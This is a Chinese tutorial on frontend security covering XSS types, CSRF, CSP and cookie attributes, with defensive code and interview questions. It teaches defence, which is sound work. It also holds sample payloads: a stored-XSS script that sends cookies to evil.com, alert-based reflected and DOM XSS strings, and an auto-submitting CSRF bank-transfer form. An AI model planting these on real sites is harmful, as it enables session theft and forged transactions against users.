前端安全 XSS 与 CSRF

文章目录

  • 前言
  • 一、XSS(跨站脚本攻击)
    • [1.1 定义](#1.1 定义)
    • [1.2 三种类型](#1.2 三种类型)
      • [存储型 XSS](#存储型 XSS)
      • [反射型 XSS](#反射型 XSS)
      • [DOM 型 XSS](#DOM 型 XSS)
  • [二、XSS 防御](#二、XSS 防御)
    • [2.1 输出编码](#2.1 输出编码)
    • [2.2 避免危险 API](#2.2 避免危险 API)
    • [2.3 使用 DOMPurify](#2.3 使用 DOMPurify)
  • 三、CSRF(跨站请求伪造)
    • [3.1 定义](#3.1 定义)
    • [3.2 攻击原理](#3.2 攻击原理)
  • [四、CSRF 防御](#四、CSRF 防御)
    • [4.1 SameSite Cookie](#4.1 SameSite Cookie)
    • [4.2 CSRF Token](#4.2 CSRF Token)
    • [4.3 验证 Origin / Referer](#4.3 验证 Origin / Referer)
  • 五、CSP(内容安全策略)
    • [5.1 定义](#5.1 定义)
    • [5.2 配置示例](#5.2 配置示例)
    • [5.3 常用指令](#5.3 常用指令)
  • [六、Cookie 安全属性](#六、Cookie 安全属性)
    • [6.1 各属性作用](#6.1 各属性作用)
  • [七、XSS 能否绕过 CSRF 防御](#七、XSS 能否绕过 CSRF 防御)
  • 八、面试聚焦
    • [8.1 富文本安全处理](#8.1 富文本安全处理)
    • [8.2 innerHTML 的风险](#8.2 innerHTML 的风险)
  • 九、易混淆点
  • 十、思考与练习
  • 总结

前言

前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:

  • XSS 的三种类型及防御
  • CSRF 的原理及防御
  • CSP(内容安全策略)
  • Cookie 安全属性

一、XSS(跨站脚本攻击)

1.1 定义

XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。

1.2 三种类型

存储型 XSS

恶意脚本存储在服务器(数据库),用户访问时自动执行。

javascript 复制代码
// 攻击场景:评论区
// 攻击者提交恶意评论
const comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

// 服务器存储后,其他用户访问时脚本执行
// 危害:窃取 Cookie、会话劫持

反射型 XSS

恶意脚本在 URL 中,服务器反射回响应时执行。

javascript 复制代码
// 攻击场景:搜索功能
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// 服务器将 query 直接拼接到 HTML
const html = `<div>搜索结果: ${query}</div>`

// 浏览器执行脚本

DOM 型 XSS

恶意脚本通过前端 JavaScript 直接操作 DOM 执行。

javascript 复制代码
// 攻击场景:从 URL 获取参数并插入 DOM
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash

// URL: https://example.com#<img src=x onerror="alert('XSS')">

二、XSS 防御

2.1 输出编码

javascript 复制代码
// 1. HTML 编码
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
}

// 使用
const userInput = '<script>alert("XSS")</script>'
document.getElementById('output').textContent = userInput  // 安全
// 或
document.getElementById('output').innerHTML = encodeHTML(userInput)  // 安全

2.2 避免危险 API

javascript 复制代码
// ❌ 危险:直接使用 innerHTML
element.innerHTML = userInput

// ✅ 安全:使用 textContent
element.textContent = userInput

// ❌ 危险:动态执行代码
eval(userInput)
new Function(userInput)()

// ❌ 危险:拼接 HTML
const html = `<div>${userInput}</div>`

2.3 使用 DOMPurify

javascript 复制代码
// 富文本内容过滤
import DOMPurify from 'dompurify'

const dirty = '<img src=x onerror="alert(1)"><p>Hello</p>'
const clean = DOMPurify.sanitize(dirty)
// <p>Hello</p>(危险标签被移除)

// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
  ALLOWED_ATTR: ['href', 'title']
})

三、CSRF(跨站请求伪造)

3.1 定义

CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。

3.2 攻击原理

html 复制代码
<!-- 用户已登录 bank.com -->
<!-- 攻击者在 evil.com 放置 -->

<!-- 自动发起转账请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>

<!-- 浏览器自动携带 bank.com 的 Cookie,请求成功 -->

四、CSRF 防御

javascript 复制代码
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite 属性值:
// Strict:完全禁止第三方 Cookie
// Lax:允许导航和 GET 请求携带(默认值)
// None:允许跨站携带(必须设置 Secure)

4.2 CSRF Token

javascript 复制代码
// 1. 服务器生成 Token
const csrfToken = generateRandomToken()
res.cookie('csrfToken', csrfToken)

// 2. 前端在请求中携带 Token
// 方式一:表单隐藏字段
<form>
  <input type="hidden" name="_csrf" value="${csrfToken}">
</form>

// 方式二:请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify(data)
})

// 3. 服务器验证 Token
app.post('/api/transfer', (req, res) => {
  if (req.headers['x-csrf-token'] !== req.cookies.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  // 处理请求
})

4.3 验证 Origin / Referer

javascript 复制代码
// 服务器检查请求来源
app.post('/api/transfer', (req, res) => {
  const origin = req.headers.origin || req.headers.referer
  if (!origin || !origin.startsWith('https://bank.com')) {
    return res.status(403).json({ error: 'Invalid origin' })
  }
  // 处理请求
})

五、CSP(内容安全策略)

5.1 定义

CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。

5.2 配置示例

javascript 复制代码
// HTTP 响应头
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;

// meta 标签
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

5.3 常用指令

javascript 复制代码
// script-src:限制脚本来源
//   'self':同源
//   'nonce-xxx':随机数匹配
//   'sha256-xxx':脚本哈希匹配

// style-src:限制样式来源
//   'unsafe-inline':允许内联样式(不推荐)

// connect-src:限制 AJAX / WebSocket 连接
//   'self':同源 API

// report-uri:违规上报地址
Content-Security-Policy: ...; report-uri /api/csp-report

六、Cookie 安全属性

javascript 复制代码
// 完整的 Cookie 安全配置
Set-Cookie: session=abc123; 
  Domain=example.com;
  Path=/;
  Secure;           // 只在 HTTPS 下发送
  HttpOnly;         // 禁止 JavaScript 访问
  SameSite=Strict;  // 禁止第三方携带
  Max-Age=3600;     // 过期时间

6.1 各属性作用

属性 作用
Secure 只在 HTTPS 下发送
HttpOnly 禁止 JavaScript 访问(防 XSS 窃取)
SameSite 限制第三方携带(防 CSRF)
Domain 指定 Cookie 适用域名
Path 指定 Cookie 适用路径

七、XSS 能否绕过 CSRF 防御

javascript 复制代码
// 场景:Cookie 设置了 SameSite=Strict
// 但攻击者通过 XSS 在目标站点执行脚本

// XSS 可以:
// 1. 在同源下发起请求(不受 SameSite 限制)
// 2. 读取页面中的 CSRF Token
// 3. 直接操作 DOM 提交表单

// 结论:XSS 可以绕过部分 CSRF 防御
// 因此:防御 XSS 是根本

八、面试聚焦

8.1 富文本安全处理

javascript 复制代码
// 问题:富文本允许用户输入 HTML,如何安全渲染?

// 方案:使用 DOMPurify 过滤
import DOMPurify from 'dompurify'

function renderRichText(dirty) {
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
  })
  return clean
}

// 危险属性需要过滤:
// onerror, onclick, onmouseover 等事件属性
// javascript: 协议的 href

8.2 innerHTML 的风险

javascript 复制代码
// ❌ 危险:直接拼接用户输入
element.innerHTML = `<div>${userInput}</div>`

// ✅ 安全:使用 textContent
element.textContent = userInput

// ✅ 安全:使用模板引擎自动转义
// Vue: {{ userInput }}  自动转义
// React: {userInput}    自动转义

九、易混淆点

  1. XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
  2. 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
  3. SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
  4. HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。

十、思考与练习

1. XSS 的三种类型及区别是什么?

解析:

  • 存储型:恶意脚本存储在服务器,所有用户访问都会触发
  • 反射型:恶意脚本在 URL 中,服务器反射回响应执行
  • DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行

2. 如何防御 XSS?

解析:

  • 输出编码(HTML 编码、URL 编码)
  • 避免危险 API(innerHTML、eval)
  • 使用 DOMPurify 过滤富文本
  • 设置 CSP 限制脚本来源

3. CSRF 的防御方案有哪些?

解析:

  • SameSite Cookie 限制第三方携带
  • CSRF Token 验证请求合法性
  • 验证 Origin / Referer 来源

4. 为什么 XSS 可以绕过 CSRF 防御?

解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。

5. Cookie 的安全属性有哪些?

解析:

  • Secure:只在 HTTPS 下发送
  • HttpOnly:禁止 JavaScript 访问
  • SameSite:限制第三方携带
  • Domain / Path:指定适用范围

总结

  • XSS:注入恶意脚本,分存储型、反射型、DOM 型
  • XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
  • CSRF:伪造用户请求,利用 Cookie 自动携带机制
  • CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
  • CSP:通过 HTTP 头限制页面可加载的资源
  • Cookie 安全:Secure + HttpOnly + SameSite 组合使用
相关推荐
云水一下6 分钟前
DVWA从入门到精通(四):CSRF(跨站请求伪造)
安全·csrf·dvwa
tuddy78946417 分钟前
Codex++ 安全边界探秘:从模型能力到风险防御
人工智能·python·安全
hbugs00124 分钟前
【案例分享】全网首个华三数据中心流量可视化实验,基于EVE-NG V7平台
网络·网络协议·安全·devops·eve-ng
深盾科技_Virbox25 分钟前
深盾科技·Virbox产品体系全景解读:软件安全如何从加密锁走向全生命周期
java·大数据·算法·安全·软件需求
aa小小31 分钟前
localhost 访问异常排查笔记
前端
格子软件32 分钟前
2026年GEO优化系统源码的分布式状态机深度拆解
java·前端·vue.js·vue·geo
陈随易1 小时前
Rust、Golang、MoonBit 编译成 WASM,体积和速度差距有多大?
前端·后端·程序员
IT_陈寒1 小时前
Python多线程的坑,我居然现在才踩到
前端·人工智能·后端
云边云科技_云网融合1 小时前
零信任安全:数字化时代的企业防护新范式
人工智能·安全·ai
thinking_talk2 小时前
腾讯云AI Agent安全中心综合评测
人工智能·安全·腾讯云